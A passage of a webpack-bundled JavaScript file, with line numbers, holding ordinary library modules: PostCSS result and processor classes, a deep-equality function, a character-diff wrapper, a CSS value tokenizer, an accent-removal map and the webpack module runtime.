6179 catch(onRejected) {
6180 return this.async().catch(onRejected)
6181 }
6182
6183 finally(onFinally) {
6184 return this.async().then(onFinally, onFinally)
6185 }
6186
6187 sync() {
6188 if (this.error) throw this.error
6189 return this.result
6190 }
6191
6192 then(onFulfilled, onRejected) {
6193 if (false) {}
6194
6195 return this.async().then(onFulfilled, onRejected)
6196 }
6197
6198 toString() {
6199 return this._css
6200 }
6201
6202 warnings() {
6203 return []
6204 }
6205}
6206
6207module.exports = NoWorkResult
6208NoWorkResult.default = NoWorkResult
6209
6210
6211/***/ }),
6212
6213/***/ 7734:
6214/***/ ((module) => {
6215
6216"use strict";
6217
6218
6219// do not edit .js files directly - edit src/index.jst
6220
6221
6222 var envHasBigInt64Array = typeof BigInt64Array !== 'undefined';
6223
6224
6225module.exports = function equal(a, b) {
6226 if (a === b) return true;
6227
6228 if (a && b && typeof a == 'object' && typeof b == 'object') {
6229 if (a.constructor !== b.constructor) return false;
6230
6231 var length, i, keys;
6232 if (Array.isArray(a)) {
6233 length = a.length;
6234 if (length != b.length) return false;
6235 for (i = length; i-- !== 0;)
6236 if (!equal(a[i], b[i])) return false;
6237 return true;
6238 }
6239
6240
6241 if ((a instanceof Map) && (b instanceof Map)) {
6242 if (a.size !== b.size) return false;
6243 for (i of a.entries())
6244 if (!b.has(i[0])) return false;
6245 for (i of a.entries())
6246 if (!equal(i[1], b.get(i[0]))) return false;
6247 return true;
6248 }
6249
6250 if ((a instanceof Set) && (b instanceof Set)) {
6251 if (a.size !== b.size) return false;
6252 for (i of a.entries())
6253 if (!b.has(i[0])) return false;
6254 return true;
6255 }
6256
6257 if (ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {
6258 length = a.length;
6259 if (length != b.length) return false;
6260 for (i = length; i-- !== 0;)
6261 if (a[i] !== b[i]) return false;
6262 return true;
6263 }
6264
6265
6266 if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;
6267 if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();
6268 if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();
6269
6270 keys = Object.keys(a);
6271 length = keys.length;
6272 if (length !== Object.keys(b).length) return false;
6273
6274 for (i = length; i-- !== 0;)
6275 if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;
6276
6277 for (i = length; i-- !== 0;) {
6278 var key = keys[i];
6279
6280 if (!equal(a[key], b[key])) return false;
6281 }
6282
6283 return true;
6284 }
6285
6286 // true if both NaN, false otherwise
6287 return a!==a && b!==b;
6288};
6289
6290
6291/***/ }),
6292
6293/***/ 8021:
6294/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
6295
6296"use strict";
6297var __webpack_unused_export__;
6298/*istanbul ignore start*/
6299
6300
6301__webpack_unused_export__ = ({
6302 value: true
6303});
6304exports.JJ = diffChars;
6305__webpack_unused_export__ = void 0;
6306
6307/*istanbul ignore end*/
6308var
6309/*istanbul ignore start*/
6310_base = _interopRequireDefault(__webpack_require__(5417))
6311/*istanbul ignore end*/
6312;
6313
6314/*istanbul ignore start*/ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
6315
6316/*istanbul ignore end*/
6317var characterDiff = new
6318/*istanbul ignore start*/
6319_base
6320/*istanbul ignore end*/
6321.
6322/*istanbul ignore start*/
6323default
6324/*istanbul ignore end*/
6325();
6326
6327/*istanbul ignore start*/
6328__webpack_unused_export__ = characterDiff;
6329
6330/*istanbul ignore end*/
6331function diffChars(oldStr, newStr, options) {
6332 return characterDiff.diff(oldStr, newStr, options);
6333}
6334
6335
6336/***/ }),
6337
6338/***/ 8202:
6339/***/ ((module) => {
6340
6341"use strict";
6342/**
6343 * Copyright (c) 2015, Facebook, Inc.
6344 * All rights reserved.
6345 *
6346 * This source code is licensed under the BSD-style license found in the
6347 * LICENSE file in the root directory of this source tree. An additional grant
6348 * of patent rights can be found in the PATENTS file in the same directory.
6349 *
6350 * @providesModule ExecutionEnvironment
6351 */
6352
6353/*jslint evil: true */
6354
6355
6356
6357var canUseDOM = !!(
6358 typeof window !== 'undefined' &&
6359 window.document &&
6360 window.document.createElement
6361);
6362
6363/**
6364 * Simple, lightweight module assisting with the detection and context of
6365 * Worker. Helps avoid circular dependencies and allows code to reason about
6366 * whether or not they are in a Worker, even if they never include the main
6367 * `ReactWorker` dependency.
6368 */
6369var ExecutionEnvironment = {
6370
6371 canUseDOM: canUseDOM,
6372
6373 canUseWorkers: typeof Worker !== 'undefined',
6374
6375 canUseEventListeners:
6376 canUseDOM && !!(window.addEventListener || window.attachEvent),
6377
6378 canUseViewport: canUseDOM && !!window.screen,
6379
6380 isInWorker: !canUseDOM // For now, this is true - might change in the future.
6381
6382};
6383
6384module.exports = ExecutionEnvironment;
6385
6386
6387/***/ }),
6388
6389/***/ 8491:
6390/***/ ((module) => {
6391
6392var openParentheses = "(".charCodeAt(0);
6393var closeParentheses = ")".charCodeAt(0);
6394var singleQuote = "'".charCodeAt(0);
6395var doubleQuote = '"'.charCodeAt(0);
6396var backslash = "\\".charCodeAt(0);
6397var slash = "/".charCodeAt(0);
6398var comma = ",".charCodeAt(0);
6399var colon = ":".charCodeAt(0);
6400var star = "*".charCodeAt(0);
6401var uLower = "u".charCodeAt(0);
6402var uUpper = "U".charCodeAt(0);
6403var plus = "+".charCodeAt(0);
6404var isUnicodeRange = /^[a-f0-9?-]+$/i;
6405
6406module.exports = function(input) {
6407 var tokens = [];
6408 var value = input;
6409
6410 var next,
6411 quote,
6412 prev,
6413 token,
6414 escape,
6415 escapePos,
6416 whitespacePos,
6417 parenthesesOpenPos;
6418 var pos = 0;
6419 var code = value.charCodeAt(pos);
6420 var max = value.length;
6421 var stack = [{ nodes: tokens }];
6422 var balanced = 0;
6423 var parent;
6424
6425 var name = "";
6426 var before = "";
6427 var after = "";
6428
6429 while (pos < max) {
6430 // Whitespaces
6431 if (code <= 32) {
6432 next = pos;
6433 do {
6434 next += 1;
6435 code = value.charCodeAt(next);
6436 } while (code <= 32);
6437 token = value.slice(pos, next);
6438
6439 prev = tokens[tokens.length - 1];
6440 if (code === closeParentheses && balanced) {
6441 after = token;
6442 } else if (prev && prev.type === "div") {
6443 prev.after = token;
6444 prev.sourceEndIndex += token.length;
6445 } else if (
6446 code === comma ||
6447 code === colon ||
6448 (code === slash &&
6449 value.charCodeAt(next + 1) !== star &&
6450 (!parent ||
6451 (parent && parent.type === "function" && parent.value !== "calc")))
6452 ) {
6453 before = token;
6454 } else {
6455 tokens.push({
6456 type: "space",
6457 sourceIndex: pos,
6458 sourceEndIndex: next,
6459 value: token
6460 });
6461 }
6462
6463 pos = next;
6464
6465 // Quotes
6466 } else if (code === singleQuote || code === doubleQuote) {
6467 next = pos;
6468 quote = code === singleQuote ? "'" : '"';
6469 token = {
6470 type: "string",
6471 sourceIndex: pos,
6472 quote: quote
6473 };
6474 do {
6475 escape = false;
6476 next = value.indexOf(quote, next + 1);
6477 if (~next) {
6478 escapePos = next;
6479 while (value.charCodeAt(escapePos - 1) === backslash) {
6480 escapePos -= 1;
6481 escape = !escape;
6482 }
6483 } else {
6484 value += quote;
6485 next = value.length - 1;
6486 token.unclosed = true;
6487 }
6488 } while (escape);
6489 token.value = value.slice(pos + 1, next);
6490 token.sourceEndIndex = token.unclosed ? next : next + 1;
6491 tokens.push(token);
6492 pos = next + 1;
6493 code = value.charCodeAt(pos);
6494
6495 // Comments
6496 } else if (code === slash && value.charCodeAt(pos + 1) === star) {
6497 next = value.indexOf("*/", pos);
6498
6499 token = {
6500 type: "comment",
6501 sourceIndex: pos,
6502 sourceEndIndex: next + 2
6503 };
6504
6505 if (next === -1) {
6506 token.unclosed = true;
6507 next = value.length;
6508 token.sourceEndIndex = next;
6509 }
6510
6511 token.value = value.slice(pos + 2, next);
6512 tokens.push(token);
6513
6514 pos = next + 2;
6515 code = value.charCodeAt(pos);
6516
6517 // Operation within calc
6518 } else if (
6519 (code === slash || code === star) &&
6520 parent &&
6521 parent.type === "function" &&
6522 parent.value === "calc"
6523 ) {
6524 token = value[pos];
6525 tokens.push({
6526 type: "word",
6527 sourceIndex: pos - before.length,
6528 sourceEndIndex: pos + token.length,
6529 value: token
6530 });
6531 pos += 1;
6532 code = value.charCodeAt(pos);
6533
6534 // Dividers
6535 } else if (code === slash || code === comma || code === colon) {
6536 token = value[pos];
6537
6538 tokens.push({
6539 type: "div",
6540 sourceIndex: pos - before.length,
6541 sourceEndIndex: pos + token.length,
6542 value: token,
6543 before: before,
6544 after: ""
6545 });
6546 before = "";
6547
6548 pos += 1;
6549 code = value.charCodeAt(pos);
6550
6551 // Open parentheses
6552 } else if (openParentheses === code) {
6553 // Whitespaces after open parentheses
6554 next = pos;
6555 do {
6556 next += 1;
6557 code = value.charCodeAt(next);
6558 } while (code <= 32);
6559 parenthesesOpenPos = pos;
6560 token = {
6561 type: "function",
6562 sourceIndex: pos - name.length,
6563 value: name,
6564 before: value.slice(parenthesesOpenPos + 1, next)
6565 };
6566 pos = next;
6567
6568 if (name === "url" && code !== singleQuote && code !== doubleQuote) {
6569 next -= 1;
6570 do {
6571 escape = false;
6572 next = value.indexOf(")", next + 1);
6573 if (~next) {
6574 escapePos = next;
6575 while (value.charCodeAt(escapePos - 1) === backslash) {
6576 escapePos -= 1;
6577 escape = !escape;
6578 }
6579 } else {
6580 value += ")";
6581 next = value.length - 1;
6582 token.unclosed = true;
6583 }
6584 } while (escape);
6585 // Whitespaces before closed
6586 whitespacePos = next;
6587 do {
6588 whitespacePos -= 1;
6589 code = value.charCodeAt(whitespacePos);
6590 } while (code <= 32);
6591 if (parenthesesOpenPos < whitespacePos) {
6592 if (pos !== whitespacePos + 1) {
6593 token.nodes = [
6594 {
6595 type: "word",
6596 sourceIndex: pos,
6597 sourceEndIndex: whitespacePos + 1,
6598 value: value.slice(pos, whitespacePos + 1)
6599 }
6600 ];
6601 } else {
6602 token.nodes = [];
6603 }
6604 if (token.unclosed && whitespacePos + 1 !== next) {
6605 token.after = "";
6606 token.nodes.push({
6607 type: "space",
6608 sourceIndex: whitespacePos + 1,
6609 sourceEndIndex: next,
6610 value: value.slice(whitespacePos + 1, next)
6611 });
6612 } else {
6613 token.after = value.slice(whitespacePos + 1, next);
6614 token.sourceEndIndex = next;
6615 }
6616 } else {
6617 token.after = "";
6618 token.nodes = [];
6619 }
6620 pos = next + 1;
6621 token.sourceEndIndex = token.unclosed ? next : pos;
6622 code = value.charCodeAt(pos);
6623 tokens.push(token);
6624 } else {
6625 balanced += 1;
6626 token.after = "";
6627 token.sourceEndIndex = pos + 1;
6628 tokens.push(token);
6629 stack.push(token);
6630 tokens = token.nodes = [];
6631 parent = token;
6632 }
6633 name = "";
6634
6635 // Close parentheses
6636 } else if (closeParentheses === code && balanced) {
6637 pos += 1;
6638 code = value.charCodeAt(pos);
6639
6640 parent.after = after;
6641 parent.sourceEndIndex += after.length;
6642 after = "";
6643 balanced -= 1;
6644 stack[stack.length - 1].sourceEndIndex = pos;
6645 stack.pop();
6646 parent = stack[balanced];
6647 tokens = parent.nodes;
6648
6649 // Words
6650 } else {
6651 next = pos;
6652 do {
6653 if (code === backslash) {
6654 next += 1;
6655 }
6656 next += 1;
6657 code = value.charCodeAt(next);
6658 } while (
6659 next < max &&
6660 !(
6661 code <= 32 ||
6662 code === singleQuote ||
6663 code === doubleQuote ||
6664 code === comma ||
6665 code === colon ||
6666 code === slash ||
6667 code === openParentheses ||
6668 (code === star &&
6669 parent &&
6670 parent.type === "function" &&
6671 parent.value === "calc") ||
6672 (code === slash &&
6673 parent.type === "function" &&
6674 parent.value === "calc") ||
6675 (code === closeParentheses && balanced)
6676 )
6677 );
6678 token = value.slice(pos, next);
6679
6680 if (openParentheses === code) {
6681 name = token;
6682 } else if (
6683 (uLower === token.charCodeAt(0) || uUpper === token.charCodeAt(0)) &&
6684 plus === token.charCodeAt(1) &&
6685 isUnicodeRange.test(token.slice(2))
6686 ) {
6687 tokens.push({
6688 type: "unicode-range",
6689 sourceIndex: pos,
6690 sourceEndIndex: next,
6691 value: token
6692 });
6693 } else {
6694 tokens.push({
6695 type: "word",
6696 sourceIndex: pos,
6697 sourceEndIndex: next,
6698 value: token
6699 });
6700 }
6701
6702 pos = next;
6703 }
6704 }
6705
6706 for (pos = stack.length - 1; pos; pos -= 1) {
6707 stack[pos].unclosed = true;
6708 stack[pos].sourceEndIndex = value.length;
6709 }
6710
6711 return stack[0].nodes;
6712};
6713
6714
6715/***/ }),
6716
6717/***/ 9055:
6718/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
6719
6720"use strict";
6721
6722
6723let Warning = __webpack_require__(5776)
6724
6725class Result {
6726 get content() {
6727 return this.css
6728 }
6729
6730 constructor(processor, root, opts) {
6731 this.processor = processor
6732 this.messages = []
6733 this.root = root
6734 this.opts = opts
6735 this.css = ''
6736 this.map = undefined
6737 }
6738
6739 toString() {
6740 return this.css
6741 }
6742
6743 warn(text, opts = {}) {
6744 if (!opts.plugin) {
6745 if (this.lastPlugin && this.lastPlugin.postcssPlugin) {
6746 opts.plugin = this.lastPlugin.postcssPlugin
6747 }
6748 }
6749
6750 let warning = new Warning(text, opts)
6751 this.messages.push(warning)
6752
6753 return warning
6754 }
6755
6756 warnings() {
6757 return this.messages.filter(i => i.type === 'warning')
6758 }
6759}
6760
6761module.exports = Result
6762Result.default = Result
6763
6764
6765/***/ }),
6766
6767/***/ 9434:
6768/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
6769
6770"use strict";
6771
6772
6773let Container = __webpack_require__(683)
6774
6775let LazyResult, Processor
6776
6777class Root extends Container {
6778 constructor(defaults) {
6779 super(defaults)
6780 this.type = 'root'
6781 if (!this.nodes) this.nodes = []
6782 }
6783
6784 normalize(child, sample, type) {
6785 let nodes = super.normalize(child)
6786
6787 if (sample) {
6788 if (type === 'prepend') {
6789 if (this.nodes.length > 1) {
6790 sample.raws.before = this.nodes[1].raws.before
6791 } else {
6792 delete sample.raws.before
6793 }
6794 } else if (this.first !== sample) {
6795 for (let node of nodes) {
6796 node.raws.before = sample.raws.before
6797 }
6798 }
6799 }
6800
6801 return nodes
6802 }
6803
6804 removeChild(child, ignore) {
6805 let index = this.index(child)
6806
6807 if (!ignore && index === 0 && this.nodes.length > 1) {
6808 this.nodes[1].raws.before = this.nodes[index].raws.before
6809 }
6810
6811 return super.removeChild(child)
6812 }
6813
6814 toResult(opts = {}) {
6815 let lazy = new LazyResult(new Processor(), this, opts)
6816 return lazy.stringify()
6817 }
6818}
6819
6820Root.registerLazyResult = dependant => {
6821 LazyResult = dependant
6822}
6823
6824Root.registerProcessor = dependant => {
6825 Processor = dependant
6826}
6827
6828module.exports = Root
6829Root.default = Root
6830
6831Container.registerRoot(Root)
6832
6833
6834/***/ }),
6835
6836/***/ 9656:
6837/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
6838
6839"use strict";
6840
6841
6842let Document = __webpack_require__(271)
6843let LazyResult = __webpack_require__(448)
6844let NoWorkResult = __webpack_require__(7661)
6845let Root = __webpack_require__(9434)
6846
6847class Processor {
6848 constructor(plugins = []) {
6849 this.version = '8.5.6'
6850 this.plugins = this.normalize(plugins)
6851 }
6852
6853 normalize(plugins) {
6854 let normalized = []
6855 for (let i of plugins) {
6856 if (i.postcss === true) {
6857 i = i()
6858 } else if (i.postcss) {
6859 i = i.postcss
6860 }
6861
6862 if (typeof i === 'object' && Array.isArray(i.plugins)) {
6863 normalized = normalized.concat(i.plugins)
6864 } else if (typeof i === 'object' && i.postcssPlugin) {
6865 normalized.push(i)
6866 } else if (typeof i === 'function') {
6867 normalized.push(i)
6868 } else if (typeof i === 'object' && (i.parse || i.stringify)) {
6869 if (false) {}
6870 } else {
6871 throw new Error(i + ' is not a PostCSS plugin')
6872 }
6873 }
6874 return normalized
6875 }
6876
6877 process(css, opts = {}) {
6878 if (
6879 !this.plugins.length &&
6880 !opts.parser &&
6881 !opts.stringifier &&
6882 !opts.syntax
6883 ) {
6884 return new NoWorkResult(this, css, opts)
6885 } else {
6886 return new LazyResult(this, css, opts)
6887 }
6888 }
6889
6890 use(plugin) {
6891 this.plugins = this.plugins.concat(this.normalize([plugin]))
6892 return this
6893 }
6894}
6895
6896module.exports = Processor
6897Processor.default = Processor
6898
6899Root.registerProcessor(Processor)
6900Document.registerProcessor(Processor)
6901
6902
6903/***/ }),
6904
6905/***/ 9681:
6906/***/ ((module) => {
6907
6908var characterMap = {
6909 "À": "A",
6910 "Á": "A",
6911 "Â": "A",
6912 "Ã": "A",
6913 "Ä": "A",
6914 "Å": "A",
6915 "Ấ": "A",
6916 "Ắ": "A",
6917 "Ẳ": "A",
6918 "Ẵ": "A",
6919 "Ặ": "A",
6920 "Æ": "AE",
6921 "Ầ": "A",
6922 "Ằ": "A",
6923 "Ȃ": "A",
6924 "Ả": "A",
6925 "Ạ": "A",
6926 "Ẩ": "A",
6927 "Ẫ": "A",
6928 "Ậ": "A",
6929 "Ç": "C",
6930 "Ḉ": "C",
6931 "È": "E",
6932 "É": "E",
6933 "Ê": "E",
6934 "Ë": "E",
6935 "Ế": "E",
6936 "Ḗ": "E",
6937 "Ề": "E",
6938 "Ḕ": "E",
6939 "Ḝ": "E",
6940 "Ȇ": "E",
6941 "Ẻ": "E",
6942 "Ẽ": "E",
6943 "Ẹ": "E",
6944 "Ể": "E",
6945 "Ễ": "E",
6946 "Ệ": "E",
6947 "Ì": "I",
6948 "Í": "I",
6949 "Î": "I",
6950 "Ï": "I",
6951 "Ḯ": "I",
6952 "Ȋ": "I",
6953 "Ỉ": "I",
6954 "Ị": "I",
6955 "Ð": "D",
6956 "Ñ": "N",
6957 "Ò": "O",
6958 "Ó": "O",
6959 "Ô": "O",
6960 "Õ": "O",
6961 "Ö": "O",
6962 "Ø": "O",
6963 "Ố": "O",
6964 "Ṍ": "O",
6965 "Ṓ": "O",
6966 "Ȏ": "O",
6967 "Ỏ": "O",
6968 "Ọ": "O",
6969 "Ổ": "O",
6970 "Ỗ": "O",
6971 "Ộ": "O",
6972 "Ờ": "O",
6973 "Ở": "O",
6974 "Ỡ": "O",
6975 "Ớ": "O",
6976 "Ợ": "O",
6977 "Ù": "U",
6978 "Ú": "U",
6979 "Û": "U",
6980 "Ü": "U",
6981 "Ủ": "U",
6982 "Ụ": "U",
6983 "Ử": "U",
6984 "Ữ": "U",
6985 "Ự": "U",
6986 "Ý": "Y",
6987 "à": "a",
6988 "á": "a",
6989 "â": "a",
6990 "ã": "a",
6991 "ä": "a",
6992 "å": "a",
6993 "ấ": "a",
6994 "ắ": "a",
6995 "ẳ": "a",
6996 "ẵ": "a",
6997 "ặ": "a",
6998 "æ": "ae",
6999 "ầ": "a",
7000 "ằ": "a",
7001 "ȃ": "a",
7002 "ả": "a",
7003 "ạ": "a",
7004 "ẩ": "a",
7005 "ẫ": "a",
7006 "ậ": "a",
7007 "ç": "c",
7008 "ḉ": "c",
7009 "è": "e",
7010 "é": "e",
7011 "ê": "e",
7012 "ë": "e",
7013 "ế": "e",
7014 "ḗ": "e",
7015 "ề": "e",
7016 "ḕ": "e",
7017 "ḝ": "e",
7018 "ȇ": "e",
7019 "ẻ": "e",
7020 "ẽ": "e",
7021 "ẹ": "e",
7022 "ể": "e",
7023 "ễ": "e",
7024 "ệ": "e",
7025 "ì": "i",
7026 "í": "i",
7027 "î": "i",
7028 "ï": "i",
7029 "ḯ": "i",
7030 "ȋ": "i",
7031 "ỉ": "i",
7032 "ị": "i",
7033 "ð": "d",
7034 "ñ": "n",
7035 "ò": "o",
7036 "ó": "o",
7037 "ô": "o",
7038 "õ": "o",
7039 "ö": "o",
7040 "ø": "o",
7041 "ố": "o",
7042 "ṍ": "o",
7043 "ṓ": "o",
7044 "ȏ": "o",
7045 "ỏ": "o",
7046 "ọ": "o",
7047 "ổ": "o",
7048 "ỗ": "o",
7049 "ộ": "o",
7050 "ờ": "o",
7051 "ở": "o",
7052 "ỡ": "o",
7053 "ớ": "o",
7054 "ợ": "o",
7055 "ù": "u",
7056 "ú": "u",
7057 "û": "u",
7058 "ü": "u",
7059 "ủ": "u",
7060 "ụ": "u",
7061 "ử": "u",
7062 "ữ": "u",
7063 "ự": "u",
7064 "ý": "y",
7065 "ÿ": "y",
7066 "Ā": "A",
7067 "ā": "a",
7068 "Ă": "A",
7069 "ă": "a",
7070 "Ą": "A",
7071 "ą": "a",
7072 "Ć": "C",
7073 "ć": "c",
7074 "Ĉ": "C",
7075 "ĉ": "c",
7076 "Ċ": "C",
7077 "ċ": "c",
7078 "Č": "C",
7079 "č": "c",
7080 "C̆": "C",
7081 "c̆": "c",
7082 "Ď": "D",
7083 "ď": "d",
7084 "Đ": "D",
7085 "đ": "d",
7086 "Ē": "E",
7087 "ē": "e",
7088 "Ĕ": "E",
7089 "ĕ": "e",
7090 "Ė": "E",
7091 "ė": "e",
7092 "Ę": "E",
7093 "ę": "e",
7094 "Ě": "E",
7095 "ě": "e",
7096 "Ĝ": "G",
7097 "Ǵ": "G",
7098 "ĝ": "g",
7099 "ǵ": "g",
7100 "Ğ": "G",
7101 "ğ": "g",
7102 "Ġ": "G",
7103 "ġ": "g",
7104 "Ģ": "G",
7105 "ģ": "g",
7106 "Ĥ": "H",
7107 "ĥ": "h",
7108 "Ħ": "H",
7109 "ħ": "h",
7110 "Ḫ": "H",
7111 "ḫ": "h",
7112 "Ĩ": "I",
7113 "ĩ": "i",
7114 "Ī": "I",
7115 "ī": "i",
7116 "Ĭ": "I",
7117 "ĭ": "i",
7118 "Į": "I",
7119 "į": "i",
7120 "İ": "I",
7121 "ı": "i",
7122 "IJ": "IJ",
7123 "ij": "ij",
7124 "Ĵ": "J",
7125 "ĵ": "j",
7126 "Ķ": "K",
7127 "ķ": "k",
7128 "Ḱ": "K",
7129 "ḱ": "k",
7130 "K̆": "K",
7131 "k̆": "k",
7132 "Ĺ": "L",
7133 "ĺ": "l",
7134 "Ļ": "L",
7135 "ļ": "l",
7136 "Ľ": "L",
7137 "ľ": "l",
7138 "Ŀ": "L",
7139 "ŀ": "l",
7140 "Ł": "l",
7141 "ł": "l",
7142 "Ḿ": "M",
7143 "ḿ": "m",
7144 "M̆": "M",
7145 "m̆": "m",
7146 "Ń": "N",
7147 "ń": "n",
7148 "Ņ": "N",
7149 "ņ": "n",
7150 "Ň": "N",
7151 "ň": "n",
7152 "ʼn": "n",
7153 "N̆": "N",
7154 "n̆": "n",
7155 "Ō": "O",
7156 "ō": "o",
7157 "Ŏ": "O",
7158 "ŏ": "o",
7159 "Ő": "O",
7160 "ő": "o",
7161 "Œ": "OE",
7162 "œ": "oe",
7163 "P̆": "P",
7164 "p̆": "p",
7165 "Ŕ": "R",
7166 "ŕ": "r",
7167 "Ŗ": "R",
7168 "ŗ": "r",
7169 "Ř": "R",
7170 "ř": "r",
7171 "R̆": "R",
7172 "r̆": "r",
7173 "Ȓ": "R",
7174 "ȓ": "r",
7175 "Ś": "S",
7176 "ś": "s",
7177 "Ŝ": "S",
7178 "ŝ": "s",
7179 "Ş": "S",
7180 "Ș": "S",
7181 "ș": "s",
7182 "ş": "s",
7183 "Š": "S",
7184 "š": "s",
7185 "Ţ": "T",
7186 "ţ": "t",
7187 "ț": "t",
7188 "Ț": "T",
7189 "Ť": "T",
7190 "ť": "t",
7191 "Ŧ": "T",
7192 "ŧ": "t",
7193 "T̆": "T",
7194 "t̆": "t",
7195 "Ũ": "U",
7196 "ũ": "u",
7197 "Ū": "U",
7198 "ū": "u",
7199 "Ŭ": "U",
7200 "ŭ": "u",
7201 "Ů": "U",
7202 "ů": "u",
7203 "Ű": "U",
7204 "ű": "u",
7205 "Ų": "U",
7206 "ų": "u",
7207 "Ȗ": "U",
7208 "ȗ": "u",
7209 "V̆": "V",
7210 "v̆": "v",
7211 "Ŵ": "W",
7212 "ŵ": "w",
7213 "Ẃ": "W",
7214 "ẃ": "w",
7215 "X̆": "X",
7216 "x̆": "x",
7217 "Ŷ": "Y",
7218 "ŷ": "y",
7219 "Ÿ": "Y",
7220 "Y̆": "Y",
7221 "y̆": "y",
7222 "Ź": "Z",
7223 "ź": "z",
7224 "Ż": "Z",
7225 "ż": "z",
7226 "Ž": "Z",
7227 "ž": "z",
7228 "ſ": "s",
7229 "ƒ": "f",
7230 "Ơ": "O",
7231 "ơ": "o",
7232 "Ư": "U",
7233 "ư": "u",
7234 "Ǎ": "A",
7235 "ǎ": "a",
7236 "Ǐ": "I",
7237 "ǐ": "i",
7238 "Ǒ": "O",
7239 "ǒ": "o",
7240 "Ǔ": "U",
7241 "ǔ": "u",
7242 "Ǖ": "U",
7243 "ǖ": "u",
7244 "Ǘ": "U",
7245 "ǘ": "u",
7246 "Ǚ": "U",
7247 "ǚ": "u",
7248 "Ǜ": "U",
7249 "ǜ": "u",
7250 "Ứ": "U",
7251 "ứ": "u",
7252 "Ṹ": "U",
7253 "ṹ": "u",
7254 "Ǻ": "A",
7255 "ǻ": "a",
7256 "Ǽ": "AE",
7257 "ǽ": "ae",
7258 "Ǿ": "O",
7259 "ǿ": "o",
7260 "Þ": "TH",
7261 "þ": "th",
7262 "Ṕ": "P",
7263 "ṕ": "p",
7264 "Ṥ": "S",
7265 "ṥ": "s",
7266 "X́": "X",
7267 "x́": "x",
7268 "Ѓ": "Г",
7269 "ѓ": "г",
7270 "Ќ": "К",
7271 "ќ": "к",
7272 "A̋": "A",
7273 "a̋": "a",
7274 "E̋": "E",
7275 "e̋": "e",
7276 "I̋": "I",
7277 "i̋": "i",
7278 "Ǹ": "N",
7279 "ǹ": "n",
7280 "Ồ": "O",
7281 "ồ": "o",
7282 "Ṑ": "O",
7283 "ṑ": "o",
7284 "Ừ": "U",
7285 "ừ": "u",
7286 "Ẁ": "W",
7287 "ẁ": "w",
7288 "Ỳ": "Y",
7289 "ỳ": "y",
7290 "Ȁ": "A",
7291 "ȁ": "a",
7292 "Ȅ": "E",
7293 "ȅ": "e",
7294 "Ȉ": "I",
7295 "ȉ": "i",
7296 "Ȍ": "O",
7297 "ȍ": "o",
7298 "Ȑ": "R",
7299 "ȑ": "r",
7300 "Ȕ": "U",
7301 "ȕ": "u",
7302 "B̌": "B",
7303 "b̌": "b",
7304 "Č̣": "C",
7305 "č̣": "c",
7306 "Ê̌": "E",
7307 "ê̌": "e",
7308 "F̌": "F",
7309 "f̌": "f",
7310 "Ǧ": "G",
7311 "ǧ": "g",
7312 "Ȟ": "H",
7313 "ȟ": "h",
7314 "J̌": "J",
7315 "ǰ": "j",
7316 "Ǩ": "K",
7317 "ǩ": "k",
7318 "M̌": "M",
7319 "m̌": "m",
7320 "P̌": "P",
7321 "p̌": "p",
7322 "Q̌": "Q",
7323 "q̌": "q",
7324 "Ř̩": "R",
7325 "ř̩": "r",
7326 "Ṧ": "S",
7327 "ṧ": "s",
7328 "V̌": "V",
7329 "v̌": "v",
7330 "W̌": "W",
7331 "w̌": "w",
7332 "X̌": "X",
7333 "x̌": "x",
7334 "Y̌": "Y",
7335 "y̌": "y",
7336 "A̧": "A",
7337 "a̧": "a",
7338 "B̧": "B",
7339 "b̧": "b",
7340 "Ḑ": "D",
7341 "ḑ": "d",
7342 "Ȩ": "E",
7343 "ȩ": "e",
7344 "Ɛ̧": "E",
7345 "ɛ̧": "e",
7346 "Ḩ": "H",
7347 "ḩ": "h",
7348 "I̧": "I",
7349 "i̧": "i",
7350 "Ɨ̧": "I",
7351 "ɨ̧": "i",
7352 "M̧": "M",
7353 "m̧": "m",
7354 "O̧": "O",
7355 "o̧": "o",
7356 "Q̧": "Q",
7357 "q̧": "q",
7358 "U̧": "U",
7359 "u̧": "u",
7360 "X̧": "X",
7361 "x̧": "x",
7362 "Z̧": "Z",
7363 "z̧": "z",
7364 "й":"и",
7365 "Й":"И",
7366 "ё":"е",
7367 "Ё":"Е",
7368};
7369
7370var chars = Object.keys(characterMap).join('|');
7371var allAccents = new RegExp(chars, 'g');
7372var firstAccent = new RegExp(chars, '');
7373
7374function matcher(match) {
7375 return characterMap[match];
7376}
7377
7378var removeAccents = function(string) {
7379 return string.replace(allAccents, matcher);
7380};
7381
7382var hasAccents = function(string) {
7383 return !!string.match(firstAccent);
7384};
7385
7386module.exports = removeAccents;
7387module.exports.has = hasAccents;
7388module.exports.remove = removeAccents;
7389
7390
7391/***/ }),
7392
7393/***/ 9746:
7394/***/ (() => {
7395
7396/* (ignored) */
7397
7398/***/ }),
7399
7400/***/ 9977:
7401/***/ (() => {
7402
7403/* (ignored) */
7404
7405/***/ })
7406
7407/******/ });
7408/************************************************************************/
7409/******/ // The module cache
7410/******/ var __webpack_module_cache__ = {};
7411/******/
7412/******/ // The require function
7413/******/ function __webpack_require__(moduleId) {
7414/******/ // Check if module is in cache
7415/******/ var cachedModule = __webpack_module_cache__[moduleId];
7416/******/ if (cachedModule !== undefined) {
7417/******/ return cachedModule.exports;
7418/******/ }
7419/******/ // Create a new module (and put it into the cache)
7420/******/ var module = __webpack_module_cache__[moduleId] = {
7421/******/ // no module.id needed
7422/******/ // no module.loaded needed
7423/******/ exports: {}
7424/******/ };
7425/******/
7426/******/ // Execute the module function
7427/******/ __webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__);
7428/******/
7429/******/ // Return the exports of the module
7430/******/ return module.exports;
7431/******/ }
7432/******/
7433/************************************************************************/
7434/******/ /* webpack/runtime/compat get default export */
7435/******/ (() => {
7436/******/ // getDefaultExport function for compatibility with non-harmony modules
7437/******/ __webpack_require__.n = (module) => {
7438/******/ var getter = module && module.__esModule ?
7439/******/ () => (module['default']) :
7440/******/ () => (module);
7441/******/ __webpack_require__.d(getter, { a: getter });
7442/******/ return getter;
7443/******/ };
7444/******/ })();
7445/******/
7446/******/ /* webpack/runtime/define property getters */
